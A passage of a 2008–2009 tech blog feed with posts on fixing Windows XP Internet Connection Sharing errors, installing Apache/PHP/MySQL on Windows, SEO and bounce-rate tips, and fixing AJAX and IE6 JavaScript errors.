href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=4980403975421096518' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4980403975421096518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4980403975421096518'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/09/squared-free-best-antivirus-for-2009.html' title='A squared free - best antivirus for 2009'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2284261077998725399</id><published>2009-07-26T01:02:00.000-07:00</published><updated>2009-07-28T00:49:38.069-07:00</updated><title type='text'>Internet connection sharing problems on Windows XP SP2</title><content type='html'>Hello, this post is about how to fix errors such as:&lt;br /&gt;&lt;blockquote&gt;svchost.exe - Application Error: The instruction at "0x00000000" referenced memory at "0x00000000". The memory could not be "read".&lt;br /&gt;Click OK to terminate the program&lt;br /&gt;or&lt;br /&gt;Click CANCEL to debug the program&lt;/blockquote&gt;I've recently experienced such problem: about 10 minutes after running my computer: the svchost.exe pops up with the above memory access violation i.e.: cannot read from memory OK or Cancel. Whatever button I press on my Internet stops and I have to restart in order to regain functionality or just to ignore the popup.&lt;br /&gt;&lt;br /&gt;I've searched for such svchost errors and even updated it but still experienced the problem. Then I grabbed &lt;span style="font-weight: bold;"&gt;ProcessExplorer&lt;/span&gt;(http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx) and pointed with the '&lt;span style="font-style: italic;"&gt;target&lt;/span&gt;' tool to the error message. It appeared that the owner of the error was csrss.exe.&lt;br /&gt;&lt;br /&gt;Next thing - I went to microsoft.com website and found a critical update to its windows users( http://www.microsoft.com/technet/security/bulletin/MS07-021.mspx). Applied it, but the problem stayed.&lt;br /&gt;&lt;br /&gt;This time I looked at the Windows' event log and I saw that the Windows Firewall/Internet Connection Sharing could not be started because of error: 5( access denied ).&lt;br /&gt;After some research here is what I found: http://support.microsoft.com/kb/892199&lt;br /&gt;It appears that upon restart certain permissions prevented you from starting the Windows Firewall service( SharedAccess ) again in Windows XP Service Pack 2. So service's permissions  got to be restored:&lt;br /&gt;How: open command prompt: Start-&gt;run-&gt;cmd and type&lt;br /&gt;&lt;div class="indent"&gt;&lt;span class="userInput"&gt;&lt;blockquote&gt;SC sdset SharedAccess D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU) &lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;P.S.  if you're still experiencing problems try the following:&lt;br /&gt;1) upgrade to SP3&lt;br /&gt;2) disable and stop the &lt;span style="font-style: italic;"&gt;Computer Browser&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;Server &lt;/span&gt;services from: Start-&gt;Run-&gt;services.msc&lt;br /&gt;3) run a scan with a-squared free.&lt;br /&gt;&lt;br /&gt;Cheers and I hope it helps you!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2284261077998725399?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2284261077998725399/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2284261077998725399' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2284261077998725399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2284261077998725399'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/07/update-csrssexe-if-you-are-on-windows.html' title='Internet connection sharing problems on Windows XP SP2'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2473501977284227608</id><published>2009-06-15T23:50:00.000-07:00</published><updated>2009-06-16T00:17:41.156-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>Windows installation of Php, Mysql &amp; Apache</title><content type='html'>This article will show how with only a few easy steps you can install the Apache web server, the Php language, and the Mysql databases all under Windows OS. This way you'll be able to develop your own websites.&lt;br /&gt;Let's begin!&lt;br /&gt;&lt;br /&gt;First download and install the following packages in the this way:&lt;br /&gt;1. Apache Win32 Binary http://httpd.apache.org/download.cgi&lt;br /&gt;2. PHP installer http://www.php.net/downloads.php&lt;br /&gt;3. mysql community server http://dev.mysql.com/downloads/mysql/5.0.html&lt;br /&gt;(optionally: mysql php_mysqli.dll driver from http://dev.mysql.com/downloads/connector/php-mysqlnd/)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;APACHE&lt;/span&gt;&lt;br /&gt;Check up: After the initial installation in a browser window address bar window type&lt;span style="font-weight: bold;"&gt;: http://localhost&lt;/span&gt;&lt;br /&gt;If working properly the Apache server will show you this message: &lt;span style="font-weight: bold;"&gt;It works!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;PHP&lt;/span&gt;&lt;br /&gt;1. Open the file httpd.conf found in directory: C:\Program files\Apache Software Foundation\Apache2.2\conf\ and add after the last LoadModule section:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;LoadModule php5_module "C:\Program Files\PHP\php5apache2_2.dll"&lt;/span&gt; where php4apache2_2.dll is the file telling Apache to load dynamically the PHP language.&lt;br /&gt;Note: if your file has different name please use it!&lt;br /&gt;&lt;br /&gt;2. Find the AddType line and add the following under:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;AddType application/x-httpd-php .php&lt;/span&gt;&lt;br /&gt;This tell the webserver to associate all .php files to the interpreter. Otherwise when you run a .php file in your browser you'll see i as normal text file followed by the usual Save as dialogue.&lt;br /&gt;&lt;br /&gt;Check: Create a new file named index.php and type in the following: &amp;lt;? phpinfo(); ?&amp;gt; . Place it in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs. Open the browser again and load the index.php file. If it loads up properly then your Php is being installed correctly!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;MYSQL&lt;/span&gt;&lt;br /&gt;1. Rename the file php-dist.ini to &lt;span style="font-weight: bold;"&gt;php.ini&lt;/span&gt; and copy it from directory it's installation directory  i.e. Program files\PHP in c:\windows. Then copy the files &lt;span style="font-weight: bold;"&gt;php_mysql.dll&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;libmysql.dll&lt;/span&gt; in directory c:\windows\system32.&lt;br /&gt;&lt;br /&gt;2. Open c:\windows\php.ini and add after the section Dynamic extensions the following 2:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;extension=libmysql.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; extension=php_mysql.dll&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Check: If everything is ready create index.php file having content &amp;lt;? phpinfo(); ?&amp;gt; in: C:\Program Files\Apache Software Foundation\Apache2.2\htdocs&lt;br /&gt;Point your browser to: http://localhost and you'll have to see in the information the &lt;span style="font-weight: bold;"&gt;Mysql section&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;When having problems:&lt;/span&gt;&lt;br /&gt;If Apache fails to run open Start-&gt;Run-&gt;eventvwr.msc and check under the Application tab the type of error coming from Apache Service. Most common error is:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Only one usage of each socket address (protocol/network address/port) is normally permitted. : make_sock: could not bind to address 0.0.0.0:80&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Solution: open httpd.conf and change the listening port used by Apache to 3128 for example.&lt;br /&gt;&lt;br /&gt;Other often harder to see error is being produced when you use the short &amp;lt;? when typing your code - this is forbidden in some of php versions. If you want to use this functionality then change the option:&lt;br /&gt;short_open_tag = On&lt;br /&gt;in php.ini&lt;br /&gt;&lt;br /&gt;Cheers, and if you have any questions just ask!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2473501977284227608?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2473501977284227608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2473501977284227608' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2473501977284227608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2473501977284227608'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/06/windows-installation-of-php-mysql.html' title='Windows installation of Php, Mysql &amp; Apache'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-3991126750285434358</id><published>2009-04-07T04:07:00.000-07:00</published><updated>2009-04-07T05:24:48.953-07:00</updated><title type='text'>Increase indexing by clearing supplementals</title><content type='html'>Google maintains two indexes: primary and supplemental. Everything that looks spammy(i.e. same content) or not considered worthy(i.e. doesn't have enough backlinks) goes to the supplemental.&lt;br /&gt;&lt;blockquote&gt;A limit factor shows the percentage of &lt;span style="font-style: italic;"&gt;indexed and available via search&lt;/span&gt; to its &lt;span style="font-style: italic;"&gt;supplemental&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;pages &lt;/span&gt;a particular website might have.&lt;/blockquote&gt;In summary: the more pages you maintain in Google's primary index the better!&lt;br /&gt;&lt;br /&gt;For example if you run a PR5 website with 500 articles then you may be allowed to show no more than 800 of site's pages in Google's primary results(ie. without having to use &amp;amp;filter=0 in the end of the query).&lt;br /&gt;But what happens when you want to place a new internal link sitewide but forgot to add rel="nofollow" to it ? like: href="read_later&amp;amp;article_id=xxx" where xxx changes but points to same content. This is considered as useless and spammy by Google.&lt;br /&gt;&lt;br /&gt;Few days later you'll notice such picture: 300 indexed pages in the primary index and the rest 500+ out in the supplemental index. Followed by a traffic decrease - because now the supplemental pages not even shown in user's queries.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;What happened?&lt;/span&gt;&lt;br /&gt;By placing a link to each and every of your pages you've reduced the particular page's power. This way only few pages supported by lots of incoming links manage to get through the main index.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;What can you do?&lt;/span&gt;&lt;br /&gt;You need to clean up the mistaken link and page.&lt;br /&gt;Procedure:&lt;br /&gt;1. Add rel = "nofollow" to the link.&lt;br /&gt;2. disable the page pointed by the link from indexing by using robots.txt or meta noindex, nofollow&lt;br /&gt;3. find the spammed pages and remove them one by one via Google webmasters tools(remove urls)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;How to find those supplemental links more effectively?&lt;/span&gt;&lt;br /&gt;Sometimes when you try to find links via: site:http://yourwebsite.com you wont see their full list.&lt;br /&gt;What to do?&lt;br /&gt;&lt;ul&gt;&lt;li&gt;use the parameter "-" in your query:&lt;br /&gt;First do a site search site and then consecutively remove the known and valid URLs from the results.&lt;br /&gt;"site:http://yourwebsite.com  -article"&lt;br /&gt;will remove all urls like article-5.html, article-100.html etc... This way you'll see the spammy pages more quickly.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;when you know the spammy page name just do&lt;br /&gt;site: http://yourwebsite.com problematic_parameter&lt;br /&gt;&lt;br /&gt;ie.:"site:http://yourwebsite.com mode" this will show all of the indexed modes of your website like: mode=new_article, mode=read_later, mode=show_comment etc... Pick the wrong ones and do a removal request upon them.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-3991126750285434358?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/3991126750285434358/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=3991126750285434358' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3991126750285434358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3991126750285434358'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/04/increase-indexing-by-clearing.html' title='Increase indexing by clearing supplementals'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-3705763931774864010</id><published>2009-02-20T04:48:00.000-08:00</published><updated>2009-02-21T03:12:01.357-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>Reducing bounce rate for fun and profit</title><content type='html'>&lt;strong style="font-weight: bold;"&gt;What is Bounce rate&lt;/strong&gt;&lt;span style="font-weight: bold;"&gt; and why it's so important?&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;The bounce rate factor shows the percentage of visitors watching pages on your website for less than 5 seconds. It is also a metric for those who visit only one page without continuing further.&lt;br /&gt;&lt;/blockquote&gt;Example: if you have 2000 visitors with 100% bounce rate it means that all those 2000 leave right upon entering your site.&lt;br /&gt;In other words bounce rate reveals % of visitors who've "escaped" or bounced away. It's also important to know that when this percentage is high enough the traffic inflow becomes pointless. In such situation website resembles a bottomless glass - with visitors just going in and out without further exploring.&lt;br /&gt;&lt;br /&gt;A good one is the shops analogy where in order to achieve a sell you want your visitors to look at the next blouse, jeans etc... So it's essential if they don't "bounce" to the next store or to keep this rate to the minimum.&lt;br /&gt;&lt;br /&gt;&lt;img style="cursor: pointer; width: 492px; height: 453px;" src="http://www.kaushik.net/avinash/wp-content/uploads/2009/01/bounce-rates-for-top-landing-pages.png" alt="reducing bounce rate" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Now go ahead and take a look at bounce rate in your analytics software. And if you notice values higher than 70% you'd better lower them.&lt;br /&gt;&lt;br /&gt;Here are some practical tips you can do to decrease a website bounce rate levels:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. Make the outgoing links open in new Window/Tab&lt;/span&gt;&lt;br /&gt;When clicking on external links visitors usually forget about the main page. Once finished visiting they click on the X button and loose connection to the referring page. But when links open in new tab the visitor will just go back to the main page.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. Place only &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;relevant &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;most read &amp;amp; commented articles right after the post&lt;/span&gt;&lt;br /&gt;If you only put some random articles behind your post a visitor interested in fishing will quite unlikely be interested in IP filtering etc... and will bounce.&lt;br /&gt;On the other side when you offer relevant information behind the post visitors will continue to explore further. Also true if you put "More articles from article's subject" just behind the article.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3. Put "go back" or "return to section" link at the end of pages&lt;/span&gt;&lt;br /&gt;When visitor reads an article he/she is already fed with information and wants to close it by thinking that this is all what you can offer.&lt;br /&gt;By placing "return to section" link at the page bottom you give an option of what can be done next.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4. Place HOME button combined with relevant image at the upper left corner of the website.&lt;/span&gt;&lt;br /&gt;Typical visitor wants to feel safe, always knowing how to get back to the first page or category start. This way besides the increased navigation usability you are revealing  him/her the route of your website.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5. Divide long content by pages.&lt;/span&gt;&lt;br /&gt;It's true that almost no one wants to read long screens of text, so shorter passages are great way if you want to hold someone's focus. Practice, also beneficial for increasing the page stay time.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;6. Make the links easy to distinguish&lt;br /&gt;- &lt;/span&gt;underlined and styled with the default blue color. There is no need to make users guess which are links.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;7. Limit the ad space to minimum.&lt;/span&gt;&lt;br /&gt;This way you create feeling of website made not only for advertisement thus minimizing the distraction for the interested individuals who will continue to read.&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ppgfjo6IIf4&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/ppgfjo6IIf4&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Resources: http://www.kaushik.net/avinash/2007/08/standard-metrics-revisited-3-bounce-rate.html&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-3705763931774864010?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/3705763931774864010/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=3705763931774864010' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3705763931774864010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3705763931774864010'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/02/reducing-bounce-rate-for-fun-and-profit.html' title='Reducing bounce rate for fun and profit'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-1210332175904303781</id><published>2009-01-18T23:59:00.000-08:00</published><updated>2009-01-19T00:45:39.082-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='do it yourself'/><title type='text'>How to share Internet connection in Windows XP</title><content type='html'>Here is how to share your Internet connection in a way that other computers to be able to use it. The popular way of doing this is by using a hardware router or a combination of a proxy server and a hub. In the article I'll show how to easily share your connection with the Windows XP integrated &lt;strong&gt;Internet Connection Sharing&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;The alternatives:&lt;br /&gt;&lt;strong&gt;Hardware router&lt;/strong&gt;&lt;br /&gt;Pros: - once turned on the device  provides Internet connection.&lt;br /&gt;Cons: - set up, price.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Hub&lt;/strong&gt;&lt;br /&gt;Pros: - price, allows proper connectivity and data transfer between several computers.&lt;br /&gt;Cons: - doesn't support network address translation(NAT).&lt;br /&gt;+&lt;br /&gt;&lt;strong&gt;Proxy server&lt;/strong&gt;&lt;br /&gt;Pros: - emulates hardware router functionality and gives IP address and port to the clients to provide Internet connectivity.&lt;br /&gt;Cons:&lt;br /&gt;- every client needs to use the Proxy server address&lt;br /&gt;- network connection protocols are not being fully supported&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;What you'll need:&lt;/strong&gt;&lt;br /&gt;- one additional network(LAN) card, which will act as an outgoing Internet device&lt;br /&gt;- (optionally) hub, if you are willing to share you Internet with more than one computer&lt;br /&gt;&lt;br /&gt;Let's begin&lt;br /&gt;&lt;strong&gt;Server setup&lt;/strong&gt;&lt;br /&gt;First off you'll have to know whether you've been using:&lt;br /&gt;Dial up type of connection (PPPoE) &lt;strong&gt;providing a username and password&lt;/strong&gt; or you are &lt;span style="font-weight: bold;"&gt;directly connected &lt;/span&gt;&lt;strong&gt;&lt;/strong&gt;to your provider(ADSL...) without having to enter username and password every time prior using the Internet.&lt;br /&gt;&lt;br /&gt;Open up Start-&gt;Settings-&gt;Network Connections to see your network cards(LAN).&lt;br /&gt;&lt;br /&gt;Important!&lt;br /&gt;If you are using &lt;strong&gt;ADSL&lt;/strong&gt; find the incoming Internet connection card(i.e through which the Internet comes in) and right click -&gt; Properties(fig. 1)&lt;br /&gt;If you are using &lt;strong&gt;LAN + Dial up&lt;/strong&gt; find your Dial up connection(and not the LAN card) and right click -&gt; Properties(fig. 2)&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.butler.edu/websnapimages/ir/disableICS2.jpg" /&gt;&lt;br /&gt;Fig.1 ADSL&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.practicallynetworked.com/sharing/xp_ics/serverdialup/ics_serverdialup01.gif" /&gt;&lt;br /&gt;Fig 2. LAN + Dial up&lt;br /&gt;&lt;br /&gt;On the next screen check the Allow other network users to connect through this computer's Internet connection.&lt;br /&gt;&lt;img src="http://www.tif.ro/DespreChestii/ICS/HowToActivateInternetConnectionSharingInWinXPProfessional_files/image008.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Then you'll be prompted to allow the ICS to change your second(inner) LAN card settings.&lt;br /&gt;From now on it'll have IP 192.168.0.1 and will serve dynamic IP addresses via DCHP to the connected computers(clients).&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Other computers setup(clients)&lt;/strong&gt;&lt;br /&gt;The only thing left to do is to go to Start-&gt;Settings-&gt;Network Connections, right click on the network card Properties -&gt; Internet Protocol(TCP/IP) - then again on Properties.&lt;br /&gt;&lt;img src="http://www.networklab.co.uk/cmodem/images/tcpprop.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;...and check both as shown automatically&lt;br /&gt;&lt;img src="http://www.networklab.co.uk/cmodem/images/tcpprop2.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Don't forget&lt;/strong&gt;!&lt;br /&gt;&lt;strong&gt;Protect the shared connection&lt;/strong&gt;&lt;br /&gt;When all of your computers already have Internet it is important to turn on the integrated  Windows firewall:&lt;br /&gt;&lt;span class="userInput"&gt;from Start-&gt;Run-&gt;Firewall.cpl&lt;/span&gt;&lt;br /&gt;and then check both: On(recommended) and Don't allow exceptions&lt;br /&gt;&lt;br /&gt;Now you are ready. Happy surfing!!!&lt;br /&gt;&lt;br /&gt;Remarks:&lt;br /&gt;If you are using home LAN having IP addresses different than 192.168.0.х you'll have to change your DHCP server settings from here: http://support.microsoft.com/kb/230148&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-1210332175904303781?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/1210332175904303781/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=1210332175904303781' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1210332175904303781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1210332175904303781'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/01/how-to-share-internet-connection-in.html' title='How to share Internet connection in Windows XP'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-421104835532220177</id><published>2008-12-30T11:00:00.000-08:00</published><updated>2008-12-30T11:15:04.826-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><category scheme='http://www.blogger.com/atom/ns#' term='do it yourself'/><title type='text'>Easy solve the AJAX c00ce514 error</title><content type='html'>If your AJAX code runs smoothly on Mozilla Firefox but experiences problems when running on Internet Explorer and gives out an error: &lt;blockquote&gt;"Could not complete the operation due to error c00ce514"&lt;/blockquote&gt;here is what to do : just set the proper character set encoding in your &lt;span style="font-weight: bold;"&gt;requested file&lt;/span&gt; and try again:)&lt;br /&gt;&lt;br /&gt;PHP Example:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;header("Content-type: text/html; charset=windows-1251");&lt;/blockquote&gt;&lt;br /&gt;The error means that Microsoft XML Parser is having problems when parsing the AJAX response string.&lt;br /&gt;&lt;br /&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-421104835532220177?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/421104835532220177/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=421104835532220177' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/421104835532220177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/421104835532220177'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/12/easy-solve-ajax-c00ce514-error.html' title='Easy solve the AJAX c00ce514 error'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-7876626611341755398</id><published>2008-12-16T03:02:00.000-08:00</published><updated>2008-12-17T00:29:02.372-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='do it yourself'/><title type='text'>How I easily increased my website visitors by 30%</title><content type='html'>From the articles we read we suppose that users are equipped with latest browsers, and are using more and more Firefox, Opera and Chrome. Let's see whether this is true.&lt;br /&gt;&lt;br /&gt;&lt;img style="width: 400px; height: 319px;" src="http://www.digitalpodcast.com/podcastnews/wp-content/uploads/2007/12/visitor_growth_graph1.jpg" alt="" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Problem description&lt;/span&gt;:&lt;br /&gt;I decided to test my website layout in different browsers so I've loaded it up in browsershots.org.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Result&lt;/span&gt;: Everywhere except on Internet Explorer 5.5 &amp;amp; 6 the site rendered correctly. On the mentioned versions a JavaScript error alert popped up followed by blank page. It appeared that Internet Explore 5.5 &amp;amp; 6 both fail to render a page when its DOM structure is changed by Javascript/AJAX methods residing in a element under the body tag. In that case Internet Explorer gives error: '&lt;span&gt;The Page cannot be Displayed' or 'Internet Explorer cannot open the Internet site http://... Operation aborted'&lt;br /&gt;&lt;br /&gt;Here is the official statement on this issue from Microsoft: http://support.microsoft.com/kb/927917&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Statistics&lt;/span&gt;:&lt;br /&gt;When I looked at Google Analytics I've understood that around 70% from all users preferred Internet Explorer 35% of which using IE6. Because I wanted to help my IE6 users I ran the following solutions then tested again with browsershots.org:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Solutions&lt;/span&gt;:(chose what suits you)&lt;br /&gt;&lt;br /&gt;- move the script at the end of your body tag or place it up in the head tag.&lt;br /&gt;&lt;br /&gt;- load up your JavaScript code from a function called by window.onload&lt;br /&gt;&lt;br /&gt;- do not load JavaScript code if your Internet Explorer version is &amp;lt; 7&lt;br /&gt;&lt;br /&gt;- add the attribute defer="defer" after your script&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Results:&lt;/span&gt; The stats showed over 30% increase in my website traffic. And that was a real success!&lt;br /&gt;&lt;br /&gt;....&lt;br /&gt;P.S. Sometimes same JavaScript code runs flawlessly under Firefox, but produces errors within Internet Explorer. So here are some common errors and ways of fixing them:&lt;br 